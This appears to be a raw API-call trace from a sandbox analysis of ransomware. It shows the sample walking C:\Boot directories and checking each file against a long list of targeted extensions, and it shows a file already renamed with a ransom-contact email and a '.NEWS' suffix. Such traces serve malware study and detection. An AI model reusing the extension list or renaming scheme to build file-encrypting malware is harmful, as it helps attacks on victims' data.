lstrlenW (lpString=".mde") returned 4 [0192.023] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0192.023] lstrlenW (lpString=".mdf") returned 4 [0192.023] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0192.023] lstrlenW (lpString=".mdw") returned 4 [0192.023] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0192.023] lstrlenW (lpString=".mef") returned 4 [0192.023] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0192.023] lstrlenW (lpString=".mft") returned 4 [0192.023] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0192.023] lstrlenW (lpString=".mfw") returned 4 [0192.023] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0192.023] lstrlenW (lpString=".mht") returned 4 [0192.023] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0192.023] lstrlenW (lpString=".mhtml") returned 6 [0192.023] lstrcmpiW (lpString1=".mhtml", lpString2="es.dll") returned -1 [0192.023] lstrlenW (lpString=".mka") returned 4 [0192.023] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0192.023] lstrlenW (lpString=".mkidx") returned 6 [0192.024] lstrcmpiW (lpString1=".mkidx", lpString2="es.dll") returned -1 [0192.024] lstrlenW (lpString=".mkv") returned 4 [0192.024] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0192.024] lstrlenW (lpString=".mos") returned 4 [0192.024] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0192.024] lstrlenW (lpString=".mov") returned 4 [0192.024] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0192.024] lstrlenW (lpString=".mp3") returned 4 [0192.024] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0192.024] lstrlenW (lpString=".mp4") returned 4 [0192.024] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0192.024] lstrlenW (lpString=".mpeg") returned 5 [0192.024] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1 [0192.024] lstrlenW (lpString=".mpg") returned 4 [0192.024] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0192.024] lstrlenW (lpString=".mpv") returned 4 [0192.024] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0192.024] lstrlenW (lpString=".mrw") returned 4 [0192.024] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0192.024] lstrlenW (lpString=".msg") returned 4 [0192.024] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0192.024] lstrlenW (lpString=".mxl") returned 4 [0192.024] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0192.024] lstrlenW (lpString=".myd") returned 4 [0192.024] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0192.024] lstrlenW (lpString=".myi") returned 4 [0192.024] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0192.024] lstrlenW (lpString=".nef") returned 4 [0192.024] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0192.024] lstrlenW (lpString=".nrw") returned 4 [0192.025] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0192.025] lstrlenW (lpString=".obj") returned 4 [0192.025] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0192.025] lstrlenW (lpString=".odb") returned 4 [0192.025] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0192.025] lstrlenW (lpString=".odc") returned 4 [0192.025] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0192.025] lstrlenW (lpString=".odm") returned 4 [0192.025] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0192.025] lstrlenW (lpString=".odp") returned 4 [0192.025] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0192.025] lstrlenW (lpString=".ods") returned 4 [0192.025] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0192.025] lstrlenW (lpString=".oft") returned 4 [0192.025] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0192.025] lstrlenW (lpString=".one") returned 4 [0192.025] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0192.025] lstrlenW (lpString=".onepkg") returned 7 [0192.025] lstrcmpiW (lpString1=".onepkg", lpString2="ces.dll") returned -1 [0192.025] lstrlenW (lpString=".onetoc2") returned 8 [0192.025] lstrcmpiW (lpString1=".onetoc2", lpString2="aces.dll") returned -1 [0192.025] lstrlenW (lpString=".opt") returned 4 [0192.025] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0192.025] lstrlenW (lpString=".oqy") returned 4 [0192.025] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0192.025] lstrlenW (lpString=".orf") returned 4 [0192.025] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0192.025] lstrlenW (lpString=".p12") returned 4 [0192.026] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0192.026] lstrlenW (lpString=".p7b") returned 4 [0192.026] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0192.026] lstrlenW (lpString=".p7c") returned 4 [0192.026] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0192.026] lstrlenW (lpString=".pam") returned 4 [0192.026] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0192.026] lstrlenW (lpString=".pbm") returned 4 [0192.026] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0192.026] lstrlenW (lpString=".pct") returned 4 [0192.026] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0192.026] lstrlenW (lpString=".pcx") returned 4 [0192.026] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0192.026] lstrlenW (lpString=".pdd") returned 4 [0192.026] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0192.026] lstrlenW (lpString=".pdf") returned 4 [0192.026] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0192.026] lstrlenW (lpString=".pdp") returned 4 [0192.026] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0192.026] lstrlenW (lpString=".pef") returned 4 [0192.026] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0192.026] lstrlenW (lpString=".pem") returned 4 [0192.026] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0192.026] lstrlenW (lpString=".pff") returned 4 [0192.026] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0192.026] lstrlenW (lpString=".pfm") returned 4 [0192.026] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0192.026] lstrlenW (lpString=".pfx") returned 4 [0192.027] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0192.027] lstrlenW (lpString=".pgm") returned 4 [0192.027] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0192.027] lstrlenW (lpString=".php") returned 4 [0192.027] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0192.027] lstrlenW (lpString=".php3") returned 5 [0192.027] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1 [0192.027] lstrlenW (lpString=".php4") returned 5 [0192.027] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1 [0192.027] lstrlenW (lpString=".php5") returned 5 [0192.027] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1 [0192.027] lstrlenW (lpString=".phtml") returned 6 [0192.027] lstrcmpiW (lpString1=".phtml", lpString2="es.dll") returned -1 [0192.027] lstrlenW (lpString=".pict") returned 5 [0192.027] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1 [0192.027] lstrlenW (lpString=".pl") returned 3 [0192.027] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0192.027] lstrlenW (lpString=".pls") returned 4 [0192.027] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0192.027] lstrlenW (lpString=".pm") returned 3 [0192.027] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0192.027] lstrlenW (lpString=".png") returned 4 [0192.027] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0192.027] lstrlenW (lpString=".pnm") returned 4 [0192.027] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0192.027] lstrlenW (lpString=".pot") returned 4 [0192.027] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0192.027] lstrlenW (lpString=".potm") returned 5 [0192.028] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1 [0192.028] lstrlenW (lpString=".potx") returned 5 [0192.028] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1 [0192.028] lstrlenW (lpString=".ppa") returned 4 [0192.028] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0192.028] lstrlenW (lpString=".ppam") returned 5 [0192.028] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1 [0192.028] lstrlenW (lpString=".ppm") returned 4 [0192.028] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0192.028] lstrlenW (lpString=".pps") returned 4 [0192.028] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0192.028] lstrlenW (lpString=".ppsm") returned 5 [0192.028] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1 [0192.028] lstrlenW (lpString=".ppt") returned 4 [0192.028] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0192.028] lstrlenW (lpString=".pptm") returned 5 [0192.028] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1 [0192.028] lstrlenW (lpString=".pptx") returned 5 [0192.028] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1 [0192.028] lstrlenW (lpString=".prn") returned 4 [0192.028] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0192.028] lstrlenW (lpString=".ps") returned 3 [0192.028] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0192.028] lstrlenW (lpString=".psb") returned 4 [0192.028] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0192.028] lstrlenW (lpString=".psd") returned 4 [0192.028] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0192.028] lstrlenW (lpString=".pst") returned 4 [0192.028] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0192.029] lstrlenW (lpString=".ptx") returned 4 [0192.029] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0192.029] lstrlenW (lpString=".pub") returned 4 [0192.029] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0192.029] lstrlenW (lpString=".pwm") returned 4 [0192.029] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0192.029] lstrlenW (lpString=".pxr") returned 4 [0192.029] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0192.029] lstrlenW (lpString=".py") returned 3 [0192.029] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0192.029] lstrlenW (lpString=".qt") returned 3 [0192.029] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0192.029] lstrlenW (lpString=".r3d") returned 4 [0192.029] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0192.029] lstrlenW (lpString=".raf") returned 4 [0192.029] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0192.029] lstrlenW (lpString=".rar") returned 4 [0192.029] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0192.029] lstrlenW (lpString=".raw") returned 4 [0192.029] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0192.029] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a39916f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3a39916f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a3bf402, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="BOOTST~1.NEW")) returned 1 [0192.030] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0192.030] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0192.030] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0192.031] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751210 [0192.031] FindNextFileW (in: hFindFile=0x751210, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.031] FindNextFileW (in: hFindFile=0x751210, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.031] FindNextFileW (in: hFindFile=0x751210, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.031] FindNextFileW (in: hFindFile=0x751210, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.031] FindClose (in: hFindFile=0x751210 | out: hFindFile=0x751210) returned 1 [0192.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0192.031] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0192.032] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0192.032] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Boot\\da-DK") returned 1 [0192.032] lstrlenW (lpString="da-DK") returned 5 [0192.032] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="da-DK") returned -1 [0192.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0192.032] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0192.032] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751190 [0192.032] FindNextFileW (in: hFindFile=0x751190, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.032] FindNextFileW (in: hFindFile=0x751190, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.032] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0192.032] lstrlenW (lpString=".1cd") returned 4 [0192.032] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0192.032] lstrlenW (lpString=".3ds") returned 4 [0192.032] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0192.032] lstrlenW (lpString=".3fr") returned 4 [0192.032] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0192.032] lstrlenW (lpString=".3g2") returned 4 [0192.032] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0192.032] lstrlenW (lpString=".3gp") returned 4 [0192.032] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0192.033] lstrlenW (lpString=".7z") returned 3 [0192.033] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0192.033] lstrlenW (lpString=".accda") returned 6 [0192.033] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0192.033] lstrlenW (lpString=".accdb") returned 6 [0192.033] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0192.033] lstrlenW (lpString=".accdc") returned 6 [0192.033] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0192.033] lstrlenW (lpString=".accde") returned 6 [0192.033] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0192.033] lstrlenW (lpString=".accdt") returned 6 [0192.033] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0192.033] lstrlenW (lpString=".accdw") returned 6 [0192.033] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0192.033] lstrlenW (lpString=".adb") returned 4 [0192.033] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0192.033] lstrlenW (lpString=".adp") returned 4 [0192.033] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0192.033] lstrlenW (lpString=".ai") returned 3 [0192.033] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0192.033] lstrlenW (lpString=".ai3") returned 4 [0192.033] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0192.033] lstrlenW (lpString=".ai4") returned 4 [0192.033] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0192.033] lstrlenW (lpString=".ai5") returned 4 [0192.033] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0192.033] lstrlenW (lpString=".ai6") returned 4 [0192.033] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0192.033] lstrlenW (lpString=".ai7") returned 4 [0192.034] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0192.034] lstrlenW (lpString=".ai8") returned 4 [0192.034] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0192.034] lstrlenW (lpString=".anim") returned 5 [0192.034] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0192.034] lstrlenW (lpString=".arw") returned 4 [0192.034] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0192.034] lstrlenW (lpString=".as") returned 3 [0192.034] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0192.034] lstrlenW (lpString=".asa") returned 4 [0192.034] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0192.034] lstrlenW (lpString=".asc") returned 4 [0192.034] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0192.034] lstrlenW (lpString=".ascx") returned 5 [0192.034] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0192.034] lstrlenW (lpString=".asm") returned 4 [0192.034] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0192.034] lstrlenW (lpString=".asmx") returned 5 [0192.034] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0192.034] lstrlenW (lpString=".asp") returned 4 [0192.034] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0192.034] lstrlenW (lpString=".aspx") returned 5 [0192.034] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0192.034] lstrlenW (lpString=".asr") returned 4 [0192.034] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0192.034] lstrlenW (lpString=".asx") returned 4 [0192.034] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0192.034] lstrlenW (lpString=".avi") returned 4 [0192.035] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0192.035] lstrlenW (lpString=".avs") returned 4 [0192.035] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0192.035] lstrlenW (lpString=".backup") returned 7 [0192.035] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0192.035] lstrlenW (lpString=".bak") returned 4 [0192.035] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0192.035] lstrlenW (lpString=".bay") returned 4 [0192.035] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0192.035] lstrlenW (lpString=".bd") returned 3 [0192.035] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0192.035] lstrlenW (lpString=".bin") returned 4 [0192.035] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0192.035] lstrlenW (lpString=".bmp") returned 4 [0192.035] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0192.035] lstrlenW (lpString=".bz2") returned 4 [0192.035] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0192.035] lstrlenW (lpString=".c") returned 2 [0192.035] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0192.035] lstrlenW (lpString=".cdr") returned 4 [0192.035] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0192.035] lstrlenW (lpString=".cer") returned 4 [0192.035] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0192.035] lstrlenW (lpString=".cf") returned 3 [0192.035] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0192.035] lstrlenW (lpString=".cfc") returned 4 [0192.035] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0192.035] lstrlenW (lpString=".cfm") returned 4 [0192.035] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0192.036] lstrlenW (lpString=".cfml") returned 5 [0192.036] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0192.036] lstrlenW (lpString=".cfu") returned 4 [0192.036] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0192.036] lstrlenW (lpString=".chm") returned 4 [0192.036] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0192.036] lstrlenW (lpString=".cin") returned 4 [0192.036] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0192.036] lstrlenW (lpString=".class") returned 6 [0192.036] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0192.036] lstrlenW (lpString=".clx") returned 4 [0192.036] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0192.036] lstrlenW (lpString=".config") returned 7 [0192.036] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0192.036] lstrlenW (lpString=".cpp") returned 4 [0192.036] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0192.036] lstrlenW (lpString=".cr2") returned 4 [0192.036] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0192.036] lstrlenW (lpString=".crt") returned 4 [0192.036] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0192.036] lstrlenW (lpString=".crw") returned 4 [0192.036] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0192.036] lstrlenW (lpString=".cs") returned 3 [0192.036] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0192.036] lstrlenW (lpString=".css") returned 4 [0192.036] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0192.036] lstrlenW (lpString=".csv") returned 4 [0192.036] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0192.036] lstrlenW (lpString=".cub") returned 4 [0192.037] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0192.037] lstrlenW (lpString=".dae") returned 4 [0192.037] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0192.037] lstrlenW (lpString=".dat") returned 4 [0192.037] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0192.037] lstrlenW (lpString=".db") returned 3 [0192.037] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0192.037] lstrlenW (lpString=".dbf") returned 4 [0192.037] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0192.037] lstrlenW (lpString=".dbx") returned 4 [0192.037] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0192.037] lstrlenW (lpString=".dc3") returned 4 [0192.037] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0192.037] lstrlenW (lpString=".dcm") returned 4 [0192.037] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0192.037] lstrlenW (lpString=".dcr") returned 4 [0192.037] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0192.037] lstrlenW (lpString=".der") returned 4 [0192.037] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0192.037] lstrlenW (lpString=".dib") returned 4 [0192.037] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0192.037] lstrlenW (lpString=".dic") returned 4 [0192.037] 